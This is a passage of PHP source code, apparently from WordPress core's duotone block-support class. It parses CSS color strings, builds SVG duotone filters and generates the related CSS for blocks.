				'r' => (int) base_convert( $hex[0] . $hex[0], 16, 10 ),
				'g' => (int) base_convert( $hex[1] . $hex[1], 16, 10 ),
				'b' => (int) base_convert( $hex[2] . $hex[2], 16, 10 ),
				'a' => 4 === strlen( $hex ) ? round( base_convert( $hex[3] . $hex[3], 16, 10 ) / 255, 2 ) : 1,
			);
		}

		if ( 6 === strlen( $hex ) || 8 === strlen( $hex ) ) {
			return array(
				'r' => (int) base_convert( substr( $hex, 0, 2 ), 16, 10 ),
				'g' => (int) base_convert( substr( $hex, 2, 2 ), 16, 10 ),
				'b' => (int) base_convert( substr( $hex, 4, 2 ), 16, 10 ),
				'a' => 8 === strlen( $hex ) ? round( (int) base_convert( substr( $hex, 6, 2 ), 16, 10 ) / 255, 2 ) : 1,
			);
		}

		return null;
	}

	/**
	 * Clamps an array of RGBA values.
	 *
	 * Direct port of colord's clampRgba function.
	 *
	 * @link https://github.com/omgovich/colord/blob/3f859e03b0ca622eb15480f611371a0f15c9427f/src/colorModels/rgb.ts#L5 Sourced from colord.
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @param array $rgba The RGBA array to clamp.
	 * @return array The clamped RGBA array.
	 */
	private static function colord_clamp_rgba( $rgba ) {
		$rgba['r'] = self::colord_clamp( $rgba['r'], 0, 255 );
		$rgba['g'] = self::colord_clamp( $rgba['g'], 0, 255 );
		$rgba['b'] = self::colord_clamp( $rgba['b'], 0, 255 );
		$rgba['a'] = self::colord_clamp( $rgba['a'] );

		return $rgba;
	}

	/**
	 * Parses a valid RGB[A] CSS color function/string.
	 *
	 * Direct port of colord's parseRgbaString function.
	 *
	 * @link https://github.com/omgovich/colord/blob/3f859e03b0ca622eb15480f611371a0f15c9427f/src/colorModels/rgbString.ts#L18 Sourced from colord.
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @param string $input The RGBA string to parse.
	 * @return array|null An array of RGBA values or null if the RGB string is invalid.
	 */
	private static function colord_parse_rgba_string( $input ) {
		// Functional syntax.
		$is_match = preg_match(
			'/^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i',
			$input,
			$match
		);

		if ( ! $is_match ) {
			// Whitespace syntax.
			$is_match = preg_match(
				'/^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i',
				$input,
				$match
			);
		}

		if ( ! $is_match ) {
			return null;
		}

		/*
		 * For some reason, preg_match doesn't include empty matches at the end
		 * of the array, so we add them manually to make things easier later.
		 */
		for ( $i = 1; $i <= 8; $i++ ) {
			if ( ! isset( $match[ $i ] ) ) {
				$match[ $i ] = '';
			}
		}

		if ( $match[2] !== $match[4] || $match[4] !== $match[6] ) {
			return null;
		}

		return self::colord_clamp_rgba(
			array(
				'r' => (float) $match[1] / ( $match[2] ? 100 / 255 : 1 ),
				'g' => (float) $match[3] / ( $match[4] ? 100 / 255 : 1 ),
				'b' => (float) $match[5] / ( $match[6] ? 100 / 255 : 1 ),
				'a' => '' === $match[7] ? 1 : (float) $match[7] / ( $match[8] ? 100 : 1 ),
			)
		);
	}

	/**
	 * Clamps an array of HSLA values.
	 *
	 * Direct port of colord's clampHsla function.
	 *
	 * @link https://github.com/omgovich/colord/blob/3f859e03b0ca622eb15480f611371a0f15c9427f/src/colorModels/hsl.ts#L6 Sourced from colord.
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @param array $hsla The HSLA array to clamp.
	 * @return array The clamped HSLA array.
	 */
	private static function colord_clamp_hsla( $hsla ) {
		$hsla['h'] = self::colord_clamp_hue( $hsla['h'] );
		$hsla['s'] = self::colord_clamp( $hsla['s'], 0, 100 );
		$hsla['l'] = self::colord_clamp( $hsla['l'], 0, 100 );
		$hsla['a'] = self::colord_clamp( $hsla['a'] );

		return $hsla;
	}

	/**
	 * Converts an HSVA array to RGBA.
	 *
	 * Direct port of colord's hsvaToRgba function.
	 *
	 * @link https://github.com/omgovich/colord/blob/3f859e03b0ca622eb15480f611371a0f15c9427f/src/colorModels/hsv.ts#L52 Sourced from colord.
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @param array $hsva The HSVA array to convert.
	 * @return array The RGBA array.
	 */
	private static function colord_hsva_to_rgba( $hsva ) {
		$h = ( $hsva['h'] / 360 ) * 6;
		$s = $hsva['s'] / 100;
		$v = $hsva['v'] / 100;
		$a = $hsva['a'];

		$hh     = floor( $h );
		$b      = $v * ( 1 - $s );
		$c      = $v * ( 1 - ( $h - $hh ) * $s );
		$d      = $v * ( 1 - ( 1 - $h + $hh ) * $s );
		$module = $hh % 6;

		return array(
			'r' => array( $v, $c, $b, $b, $d, $v )[ $module ] * 255,
			'g' => array( $d, $v, $v, $c, $b, $b )[ $module ] * 255,
			'b' => array( $b, $b, $d, $v, $v, $c )[ $module ] * 255,
			'a' => $a,
		);
	}

	/**
	 * Converts an HSLA array to HSVA.
	 *
	 * Direct port of colord's hslaToHsva function.
	 *
	 * @link https://github.com/omgovich/colord/blob/3f859e03b0ca622eb15480f611371a0f15c9427f/src/colorModels/hsl.ts#L33 Sourced from colord.
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @param array $hsla The HSLA array to convert.
	 * @return array The HSVA array.
	 */
	private static function colord_hsla_to_hsva( $hsla ) {
		$h = $hsla['h'];
		$s = $hsla['s'];
		$l = $hsla['l'];
		$a = $hsla['a'];

		$s *= ( $l < 50 ? $l : 100 - $l ) / 100;

		return array(
			'h' => $h,
			's' => $s > 0 ? ( ( 2 * $s ) / ( $l + $s ) ) * 100 : 0,
			'v' => $l + $s,
			'a' => $a,
		);
	}

	/**
	 * Converts an HSLA array to RGBA.
	 *
	 * Direct port of colord's hslaToRgba function.
	 *
	 * @link https://github.com/omgovich/colord/blob/3f859e03b0ca622eb15480f611371a0f15c9427f/src/colorModels/hsl.ts#L55 Sourced from colord.
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @param array $hsla The HSLA array to convert.
	 * @return array The RGBA array.
	 */
	private static function colord_hsla_to_rgba( $hsla ) {
		return self::colord_hsva_to_rgba( self::colord_hsla_to_hsva( $hsla ) );
	}

	/**
	 * Parses a valid HSL[A] CSS color function/string.
	 *
	 * Direct port of colord's parseHslaString function.
	 *
	 * @link https://github.com/omgovich/colord/blob/3f859e03b0ca622eb15480f611371a0f15c9427f/src/colorModels/hslString.ts#L17 Sourced from colord.
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @param string $input The HSLA string to parse.
	 * @return array|null An array of RGBA values or null if the RGB string is invalid.
	 */
	private static function colord_parse_hsla_string( $input ) {
		// Functional syntax.
		$is_match = preg_match(
			'/^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s*,\s*([+-]?\d*\.?\d+)%\s*,\s*([+-]?\d*\.?\d+)%\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i',
			$input,
			$match
		);

		if ( ! $is_match ) {
			// Whitespace syntax.
			$is_match = preg_match(
				'/^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s+([+-]?\d*\.?\d+)%\s+([+-]?\d*\.?\d+)%\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i',
				$input,
				$match
			);
		}

		if ( ! $is_match ) {
			return null;
		}

		/*
		 * For some reason, preg_match doesn't include empty matches at the end
		 * of the array, so we add them manually to make things easier later.
		 */
		for ( $i = 1; $i <= 6; $i++ ) {
			if ( ! isset( $match[ $i ] ) ) {
				$match[ $i ] = '';
			}
		}

		$hsla = self::colord_clamp_hsla(
			array(
				'h' => self::colord_parse_hue( $match[1], $match[2] ),
				's' => (float) $match[3],
				'l' => (float) $match[4],
				'a' => '' === $match[5] ? 1 : (float) $match[5] / ( $match[6] ? 100 : 1 ),
			)
		);

		return self::colord_hsla_to_rgba( $hsla );
	}

	/**
	 * Tries to convert an incoming string into RGBA values.
	 *
	 * Direct port of colord's parse function simplified for our use case. This
	 * version only supports string parsing and only returns RGBA values.
	 *
	 * @link https://github.com/omgovich/colord/blob/3f859e03b0ca622eb15480f611371a0f15c9427f/src/parse.ts#L37 Sourced from colord.
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @param string $input The string to parse.
	 * @return array|null An array of RGBA values or null if the string is invalid.
	 */
	private static function colord_parse( $input ) {
		$result = self::colord_parse_hex( $input );

		if ( ! $result ) {
			$result = self::colord_parse_rgba_string( $input );
		}

		if ( ! $result ) {
			$result = self::colord_parse_hsla_string( $input );
		}

		return $result;
	}

	/**
	 * Takes the inline CSS duotone variable from a block and return the slug.
	 *
	 * Handles styles slugs like:
	 * var:preset|duotone|blue-orange
	 * var(--wp--preset--duotone--blue-orange)
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @param string $duotone_attr The duotone attribute from a block.
	 * @return string The slug of the duotone preset or an empty string if no slug is found.
	 */
	private static function get_slug_from_attribute( $duotone_attr ) {
		// Uses Branch Reset Groups `(?|…)` to return one capture group.
		preg_match( '/(?|var:preset\|duotone\|(\S+)|var\(--wp--preset--duotone--(\S+)\))/', $duotone_attr, $matches );

		return ! empty( $matches[1] ) ? $matches[1] : '';
	}

	/**
	 * Checks if we have a valid duotone preset.
	 *
	 * Valid presets are defined in the $global_styles_presets array.
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @param string $duotone_attr The duotone attribute from a block.
	 * @return bool True if the duotone preset present and valid.
	 */
	private static function is_preset( $duotone_attr ) {
		$slug      = self::get_slug_from_attribute( $duotone_attr );
		$filter_id = self::get_filter_id( $slug );

		return array_key_exists( $filter_id, self::get_all_global_styles_presets() );
	}

	/**
	 * Gets the CSS variable name for a duotone preset.
	 *
	 * Example output:
	 *  --wp--preset--duotone--blue-orange
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @param string $slug The slug of the duotone preset.
	 * @return string The CSS variable name.
	 */
	private static function get_css_custom_property_name( $slug ) {
		return "--wp--preset--duotone--$slug";
	}

	/**
	 * Get the ID of the duotone filter.
	 *
	 * Example output:
	 *  wp-duotone-blue-orange
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @param string $slug The slug of the duotone preset.
	 * @return string The ID of the duotone filter.
	 */
	private static function get_filter_id( $slug ) {
		return "wp-duotone-$slug";
	}

	/**
	 * Get the CSS variable for a duotone preset.
	 *
	 * Example output:
	 *  var(--wp--preset--duotone--blue-orange)
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @param string $slug The slug of the duotone preset.
	 * @return string The CSS variable.
	 */
	private static function get_css_var( $slug ) {
		$name = self::get_css_custom_property_name( $slug );
		return "var($name)";
	}

	/**
	 * Get the URL for a duotone filter.
	 *
	 * Example output:
	 *  url(#wp-duotone-blue-orange)
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @param string $filter_id The ID of the filter.
	 * @return string The URL for the duotone filter.
	 */
	private static function get_filter_url( $filter_id ) {
		return "url(#$filter_id)";
	}

	/**
	 * Gets the SVG for the duotone filter definition.
	 *
	 * Whitespace is removed when SCRIPT_DEBUG is not enabled.
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @param string $filter_id The ID of the filter.
	 * @param array  $colors    An array of color strings.
	 * @return string An SVG with a duotone filter definition.
	 */
	private static function get_filter_svg( $filter_id, $colors ) {
		$duotone_values = array(
			'r' => array(),
			'g' => array(),
			'b' => array(),
			'a' => array(),
		);

		foreach ( $colors as $color_str ) {
			$color = self::colord_parse( $color_str );

			if ( null === $color ) {
				$error_message = sprintf(
					/* translators: 1: Duotone colors, 2: theme.json, 3: settings.color.duotone */
					__( '"%1$s" in %2$s %3$s is not a hex or rgb string.' ),
					$color_str,
					'theme.json',
					'settings.color.duotone'
				);
				_doing_it_wrong( __METHOD__, $error_message, '6.3.0' );
			} else {
				$duotone_values['r'][] = $color['r'] / 255;
				$duotone_values['g'][] = $color['g'] / 255;
				$duotone_values['b'][] = $color['b'] / 255;
				$duotone_values['a'][] = $color['a'];
			}
		}

		ob_start();

		?>

		<svg
			xmlns="http://www.w3.org/2000/svg"
			viewBox="0 0 0 0"
			width="0"
			height="0"
			focusable="false"
			role="none"
			style="visibility: hidden; position: absolute; left: -9999px; overflow: hidden;"
		>
			<defs>
				<filter id="<?php echo esc_attr( $filter_id ); ?>">
					<feColorMatrix
						color-interpolation-filters="sRGB"
						type="matrix"
						values="
							.299 .587 .114 0 0
							.299 .587 .114 0 0
							.299 .587 .114 0 0
							.299 .587 .114 0 0
						"
					/>
					<feComponentTransfer color-interpolation-filters="sRGB" >
						<feFuncR type="table" tableValues="<?php echo esc_attr( implode( ' ', $duotone_values['r'] ) ); ?>" />
						<feFuncG type="table" tableValues="<?php echo esc_attr( implode( ' ', $duotone_values['g'] ) ); ?>" />
						<feFuncB type="table" tableValues="<?php echo esc_attr( implode( ' ', $duotone_values['b'] ) ); ?>" />
						<feFuncA type="table" tableValues="<?php echo esc_attr( implode( ' ', $duotone_values['a'] ) ); ?>" />
					</feComponentTransfer>
					<feComposite in2="SourceGraphic" operator="in" />
				</filter>
			</defs>
		</svg>

		<?php

		$svg = ob_get_clean();

		if ( ! SCRIPT_DEBUG ) {
			// Clean up the whitespace.
			$svg = preg_replace( "/[\r\n\t ]+/", ' ', $svg );
			$svg = str_replace( '> <', '><', $svg );
			$svg = trim( $svg );
		}

		return $svg;
	}

	/**
	 * Returns the prefixed id for the duotone filter for use as a CSS id.
	 *
	 * Exported for the deprecated function wp_get_duotone_filter_id().
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 * @deprecated 6.3.0
	 *
	 * @param  array $preset Duotone preset value as seen in theme.json.
	 * @return string        Duotone filter CSS id.
	 */
	public static function get_filter_id_from_preset( $preset ) {
		_deprecated_function( __FUNCTION__, '6.3.0' );

		$filter_id = '';
		if ( isset( $preset['slug'] ) ) {
			$filter_id = self::get_filter_id( $preset['slug'] );
		}
		return $filter_id;
	}

	/**
	 * Gets the SVG for the duotone filter definition from a preset.
	 *
	 * Exported for the deprecated function wp_get_duotone_filter_property().
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 * @deprecated 6.3.0
	 *
	 * @param array $preset The duotone preset.
	 * @return string The SVG for the filter definition.
	 */
	public static function get_filter_svg_from_preset( $preset ) {
		_deprecated_function( __FUNCTION__, '6.3.0' );

		$filter_id = self::get_filter_id_from_preset( $preset );
		return self::get_filter_svg( $filter_id, $preset['colors'] );
	}

	/**
	 * Get the SVGs for the duotone filters.
	 *
	 * Example output:
	 *  <svg><defs><filter id="wp-duotone-blue-orange">…</filter></defs></svg><svg>…</svg>
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @param array $sources The duotone presets.
	 * @return string The SVGs for the duotone filters.
	 */
	private static function get_svg_definitions( $sources ) {
		$svgs = '';
		foreach ( $sources as $filter_id => $filter_data ) {
			$colors = $filter_data['colors'];
			$svgs  .= self::get_filter_svg( $filter_id, $colors );
		}
		return $svgs;
	}

	/**
	 * Get the CSS for global styles.
	 *
	 * Example output:
	 *  body{--wp--preset--duotone--blue-orange:url('#wp-duotone-blue-orange');}
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 * @since 6.6.0 Replaced body selector with `WP_Theme_JSON::ROOT_CSS_PROPERTIES_SELECTOR`.
	 *
	 * @param array $sources The duotone presets.
	 * @return string The CSS for global styles.
	 */
	private static function get_global_styles_presets( $sources ) {
		$css = WP_Theme_JSON::ROOT_CSS_PROPERTIES_SELECTOR . '{';
		foreach ( $sources as $filter_id => $filter_data ) {
			$slug              = $filter_data['slug'];
			$colors            = $filter_data['colors'];
			$css_property_name = self::get_css_custom_property_name( $slug );
			$declaration_value = is_string( $colors ) ? $colors : self::get_filter_url( $filter_id );
			$css              .= "$css_property_name:$declaration_value;";
		}
		$css .= '}';
		return $css;
	}

	/**
	 * Enqueue a block CSS declaration for the page.
	 *
	 * This does not include any SVGs.
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @param string $filter_id        The filter ID. e.g. 'wp-duotone-000000-ffffff-2'.
	 * @param string $duotone_selector The block's duotone selector. e.g. '.wp-block-image img'.
	 * @param string $filter_value     The filter CSS value. e.g. 'url(#wp-duotone-000000-ffffff-2)' or 'unset'.
	 */
	private static function enqueue_block_css( $filter_id, $duotone_selector, $filter_value ) {
		// Build the CSS selectors to which the filter will be applied.
		$selectors = explode( ',', $duotone_selector );

		$selectors_scoped = array();
		foreach ( $selectors as $selector_part ) {
			/*
			 * Assuming the selector part is a subclass selector (not a tag name)
			 * so we can prepend the filter id class. If we want to support elements
			 * such as `img` or namespaces, we'll need to add a case for that here.
			 */
			$selectors_scoped[] = '.' . $filter_id . trim( $selector_part );
		}

		$selector = implode( ', ', $selectors_scoped );

		self::$block_css_declarations[] = array(
			'selector'     => $selector,
			'declarations' => array(
				'filter' => $filter_value,
			),
		);
	}

	/**
	 * Enqueue custom filter assets for the page.
	 *
	 * Includes an SVG filter and block CSS declaration.
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @param string $filter_id        The filter ID. e.g. 'wp-duotone-000000-ffffff-2'.
	 * @param string $duotone_selector The block's duotone selector. e.g. '.wp-block-image img'.
	 * @param string $filter_value     The filter CSS value. e.g. 'url(#wp-duotone-000000-ffffff-2)' or 'unset'.
	 * @param array  $filter_data      Duotone filter data with 'slug' and 'colors' keys.
	 */
	private static function enqueue_custom_filter( $filter_id, $duotone_selector, $filter_value, $filter_data ) {
		self::$used_svg_filter_data[ $filter_id ] = $filter_data;
		self::enqueue_block_css( $filter_id, $duotone_selector, $filter_value );
	}

	/**
	 * Enqueue preset assets for the page.
	 *
	 * Includes a CSS custom property, SVG filter, and block CSS declaration.
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @param string $filter_id        The filter ID. e.g. 'wp-duotone-blue-orange'.
	 * @param string $duotone_selector The block's duotone selector. e.g. '.wp-block-image img'.
	 * @param string $filter_value     The filter CSS value. e.g. 'url(#wp-duotone-blue-orange)' or 'unset'.
	 */
	private static function enqueue_global_styles_preset( $filter_id, $duotone_selector, $filter_value ) {
		$global_styles_presets = self::get_all_global_styles_presets();
		if ( ! array_key_exists( $filter_id, $global_styles_presets ) ) {
			$error_message = sprintf(
				/* translators: 1: Duotone filter ID, 2: theme.json */
				__( 'The duotone id "%1$s" is not registered in %2$s settings' ),
				$filter_id,
				'theme.json'
			);
			_doing_it_wrong( __METHOD__, $error_message, '6.3.0' );
			return;
		}
		self::$used_global_styles_presets[ $filter_id ] = $global_styles_presets[ $filter_id ];
		self::enqueue_custom_filter( $filter_id, $duotone_selector, $filter_value, $global_styles_presets[ $filter_id ] );
	}

	/**
	 * Registers the style and colors block attributes for block types that support it.
	 *
	 * Block support is added with `supports.filter.duotone` in block.json.
	 *
	 * @since 6.3.0
	 *
	 * @param WP_Block_Type $block_type Block Type.
	 */
	public static function register_duotone_support( $block_type ) {
		/*
		 * Previous `color.__experimentalDuotone` support flag is migrated
		 * to `filter.duotone` via `block_type_metadata_settings` filter.
		 */
		if ( block_has_support( $block_type, array( 'filter', 'duotone' ), null ) ) {
			if ( ! $block_type->attributes ) {
				$block_type->attributes = array();
			}

			if ( ! array_key_exists( 'style', $block_type->attributes ) ) {
				$block_type->attributes['style'] = array(
					'type' => 'object',
				);
			}
		}
	}

	/**
	 * Get the CSS selector for a block type.
	 *
	 * This handles selectors defined in `color.__experimentalDuotone` support
	 * if `filter.duotone` support is not defined.
	 *
	 * @internal
	 * @since 6.3.0
	 *
	 * @param WP_Block_Type $block_type Block type to check for support.
	 * @return string|null The CSS selector or null if there is no support.
	 */
	private static function get_selector( $block_type ) {
		if ( ! ( $block_type instanceof WP_Block_Type ) ) {
			return null;
		}

		/*
		 * Backward compatibility with `supports.color.__experimentalDuotone`
		 * is provided via the `block_type_metadata_settings` filter. If
		 * `supports.filter.duotone` has not been set and the experimental
		 * property has been, the experimental property value is copied into
		 * `supports.filter.duotone`.
		 */
		$duotone_support = block_has_support( $block_type, array( 'filter', 'duotone' ) );
		if ( ! $duotone_support ) {
			return null;
		}

		/*
		 * If the experimental duotone support was set, that value is to be
		 * treated as a selector and requires scoping.
		 */
		$experimental_duotone = isset( $block_type->supports['color']['__experimentalDuotone'] )
			? $block_type->supports['color']['__experimentalDuotone']
			: false;
		if ( $experimental_duotone ) {
			$root_selector = wp_get_block_css_selector( $block_type );
			return is_string( $experimental_duotone )
				? WP_Theme_JSON::scope_selector( $root_selector, $experimental_duotone )
				: $root_selector;
		}

		// Regular filter.duotone support uses filter.duotone selectors with fallbacks.
		return wp_get_block_css_selector( $block_type, array( 'filter', 'duotone' ), true );
	}

	/**
	 * Scrape all possible duotone presets from global and theme styles and
	 * store them in self::$global_styles_presets.
	 *
	 * Used in conjunction with self::render_duotone_support for blocks that
	 * use duotone preset filters.
	 *
	 * @since 6.3.0
	 *
	 * @return array An array of global styles presets, keyed on the filter ID.
	 */
	private static function get_all_global_styles_presets() {
		if ( isset( self::$global_styles_presets ) ) {
			return self::$global_styles_presets;
		}
		// Get the per block settings from the theme.json.
		$tree              = wp_get_global_settings();
		$presets_by_origin = isset( $tree['color']['duotone'] ) ? $tree['color']['duotone'] : array();

		self::$global_styles_presets = array();
		foreach ( $presets_by_origin as $presets ) {
			foreach ( $presets as $preset ) {
				$filter_id = self::get_filter_id( _wp_to_kebab_case( $preset['slug'] ) );

				self::$global_styles_presets[ $filter_id ] = $preset;
			}
		}

		return self::$global_styles_presets;
	}

	/**
	 * Scrape all block names from global styles and store in self::$global_styles_block_names.
	 *
	 * Used in conjunction with self::render_duotone_support to output the
	 * duotone filters defined in the theme.json global styles.
	 *
	 * @since 6.3.0
	 *
	 * @return string[] An array of global style block slugs, keyed on the block name.
	 */
	private static function get_all_global_style_block_names() {
		if ( isset( self::$global_styles_block_names ) ) {
			return self::$global_styles_block_names;
		}
		// Get the per block settings from the theme.json.
		$tree        = WP_Theme_JSON_Resolver::get_merged_data();
		$block_nodes = $tree->get_styles_block_nodes();
		$theme_json  = $tree->get_raw_data();

		self::$global_styles_block_names = array();

		foreach ( $block_nodes as $block_node ) {
			// This block definition doesn't include any duotone settings. Skip it.
			if ( empty( $block_node['duotone'] ) ) {
				continue;
			}

			// Value looks like this: 'var(--wp--preset--duotone--blue-orange)' or 'var:preset|duotone|blue-orange'.
			$duotone_attr_path = array_merge( $block_node['path'], array( 'filter', 'duotone' ) );
			$duotone_attr      = _wp_array_get( $theme_json, $duotone_attr_path, array() );

			if ( empty( $duotone_attr ) ) {
				continue;
			}
			// If it has a duotone filter preset, save the block name and the preset slug.
			$slug = self::get_slug_from_attribute( $duotone_attr );

			if ( $slug && $slug !== $duotone_attr ) {
				self::$global_styles_block_names[ $block_node['name'] ] = $slug;
			}
		}
		return self::$global_styles_block_names;
	}

	/**
	 * Render out the duotone CSS styles and SVG.
	 *
	 * The hooks self::set_global_style_block_names and self::set_global_styles_presets
	 * must be called before this function.
	 *
	 * @since 6.3.0
	 *
	 * @param  string   $block_content Rendered block content.
	 * @param  array    $block         Block object.
	 * @param  WP_Block $wp_block      The block instance.
	 * @return string Filtered block content.
	 */
	public static function render_duotone_support( $block_content, $block, $wp_block ) {
		if ( ! $block['blockName'] ) {
			return $block_content;
		}
		$duotone_selector = self::get_selector( $wp_block->block_type );

		if ( ! $duotone_selector ) {
			return $block_content;
		}

		$global_styles_block_names = self::get_all_global_style_block_names();

		// The block should have a duotone attribute or have duotone defined in its theme.json to be processed.
		$has_duotone_attribute     = isset( $block['attrs']['style']['color']['duotone'] );
		$has_global_styles_duotone = array_key_exists( $block['blockName'], $global_styles_block_names );

		if ( ! $has_duotone_attribute && ! $has_global_styles_duotone ) {
			return $block_content;
		}

		// Generate the pieces needed for rendering a duotone to the page.
		if ( $has_duotone_attribute ) {

			/*
			 * Possible values for duotone attribute:
			 * 1. Array of colors - e.g. array('#000000', '#ffffff').
			 * 2. Variable for an existing Duotone preset - e.g. 'var:preset|duotone|blue-orange' or 'var(--wp--preset--duotone--blue-orange)''
			 * 3. A CSS string - e.g. 'unset' to remove globally applied duotone.
			 */

			$duotone_attr = $block['attrs']['style']['color']['duotone'];
			$is_preset    = is_string( $duotone_attr ) && self::is_preset( $duotone_attr );
			$is_css       = is_string( $duotone_attr ) && ! $is_preset;
			$is_custom    = is_array( $duotone_attr );

			if ( $is_preset ) {

				$slug         = self::get_slug_from_attribute( $duotone_attr ); // e.g. 'blue-orange'.
				$filter_id    = self::get_filter_id( $slug ); // e.g. 'wp-duotone-filter-blue-orange'.
				$filter_value = self::get_css_var( $slug ); // e.g. 'var(--wp--preset--duotone--blue-orange)'.

				// CSS custom property, SVG filter, and block CSS.
				self::enqueue_global_styles_preset( $filter_id, $duotone_selector, $filter_value );

			} elseif ( $is_css ) {
				$slug         = wp_unique_id( sanitize_key( $duotone_attr . '-' ) ); // e.g. 'unset-1'.
				$filter_id    = self::get_filter_id( $slug ); // e.g. 'wp-duotone-filter-unset-1'.
				$filter_value = $duotone_attr; // e.g. 'unset'.

				// Just block CSS.
				self::enqueue_block_css( $filter_id, $duotone_selector, $filter_value );
			} elseif ( $is_custom ) {
				$slug         = wp_unique_id( sanitize_key( implode( '-', $duotone_attr ) . '-' ) ); // e.g. '000000-ffffff-2'.
				$filter_id    = self::get_filter_id( $slug ); // e.g. 'wp-duotone-filter-000000-ffffff-2'.
				$filter_value = self::get_filter_url( $filter_id ); // e.g. 'url(#wp-duotone-filter-000000-ffffff-2)'.
				$filter_data  = array(
					'slug'   => $slug,
					'colors' => $duotone_attr,
				);

				// SVG filter and block CSS.
				self::enqueue_custom_filter( $filter_id, $duotone_selector, $filter_value, $filter_data );
			}
		} elseif ( $has_global_styles_duotone ) {
			$slug         = $global_styles_block_names[ $block['blockName'] ]; // e.g. 'blue-orange'.
			$filter_id    = self::get_filter_id( $slug ); // e.g. 'wp-duotone-filter-blue-orange'.
			$filter_value = self::get_css_var( $slug ); // e.g. 'var(--wp--preset--duotone--blue-orange)'.

			// CSS custom property, SVG filter, and block CSS.
			self::enqueue_global_styles_preset( $filter_id, $duotone_selector, $filter_value );
		}

		// Like the layout hook, this assumes the hook only applies to blocks with a single wrapper.
		$tags = new WP_HTML_Tag_Processor( $block_content );
		if ( $tags->next_tag() ) {
			$tags->add_class( $filter_id );
		}
		return $tags->get_updated_html();
	}

	/**
	 * Fixes the issue with our generated class name not being added to the block's outer container
	 * in classic themes due to gutenberg_restore_image_outer_container from layout block supports.
	 *
	 * @since 6.6.0
	 *
	 * @param string $block_content Rendered block content.
	 * @return string Filtered block content.
	 */
	public static function restore_image_outer_container( $block_content ) {
		if ( wp_theme_has_theme_json() ) {
			return $block_content;
		}

		$tags          = new WP_HTML_Tag_Processor( $block_content );
		$wrapper_query = array(
			'tag_name'   => 'div',
			'class_name' => 'wp-block-image',
		);
		if ( ! $tags->next_tag( $wrapper_query ) ) {
			return $block_content;
		}

		$tags->set_bookmark( 'wrapper-div' );
		$tags->next_tag();

		$inner_classnames = explode( ' ', $tags->get_attribute( 'class' ) );
		foreach ( $inner_classnames as $classname ) {
			if ( 0 === strpos( $classname, 'wp-duotone' ) ) {
				$tags->remove_class( $classname );
				$tags->seek( 'wrapper-div' );
				$tags->add_class( $classname );
				break;
			}
		}

		return $tags->get_updated_html();
	}

	/**
	 * Appends the used block duotone filter declarations to the inline block supports CSS.
	 *
	 * Uses the declarations saved in earlier calls to self::enqueue_block_css.
	 *
	 * @since 6.3.0
	 */
	public static function output_block_styles() {
		if ( ! empty( self::$block_css_declarations ) ) {
			wp_style_engine_get_stylesheet_from_css_rules(
				self::$block_css_declarations,
				array(
					'context' => 'block-supports',
				)
			);
		}
	}

	/**
	 * Appends the used global style duotone filter presets (CSS custom
	 * properties) to the inline global styles CSS.
	 *
	 * Uses the declarations saved in earlier calls to self::enqueue_global_styles_preset.
	 *
	 * @since 6.3.0
	 */
	public static function output_global_styles() {
		if ( ! empty( self::$used_global_styles_presets ) ) {
			wp_add_inline_style( 'global-styles', self::get_global_styles_presets( self::$used_global_styles_presets ) );
		}
	}

	/**
	 * Outputs all necessary SVG for duotone filters, CSS for classic themes.
	 *
	 * Uses the declarations saved in earlier calls to self::enqueue_global_styles_preset
	 * and self::enqueue_custom_filter.
	 *
	 * @since 6.3.0
	 */
	public static function output_footer_assets() {
		if ( ! empty( self::$used_svg_filter_data ) ) {
			echo self::get_svg_definitions( self::$used_svg_filter_data );
		}

		// In block themes, the CSS is added in the head via wp_add_inline_style in the wp_enqueue_scripts action.
		if ( ! wp_is_block_theme() ) {
			$style_tag_id = 'core-block-supports-duotone';
			wp_register_style( $style_tag_id, false );
			if ( ! empty( self::$used_global_styles_presets ) ) {
				wp_add_inline_style( $style_tag_id, self::get_global_styles_presets( self::$used_global_styles_presets ) );
			}
			if ( ! empty( self::$block_css_declarations ) ) {
				wp_add_inline_style( $style_tag_id, wp_style_engine_get_stylesheet_from_css_rules( self::$block_css_declarations ) );
			}
			wp_enqueue_style( $style_tag_id );
		}
	}

	/**
	 * Adds the duotone SVGs and CSS custom properties to the editor settings.
	 *
	 * This allows the properties to be pulled in by the EditorStyles component
	 * in JS and rendered in the post editor.
	 *
	 * @since 6.3.0
	 *
	 * @param array $settings The block editor settings from the `block_editor_settings_all` filter.
	 * @return array The editor settings with duotone SVGs and CSS custom properties.
	 */
	public static function add_editor_settings( $settings ) {
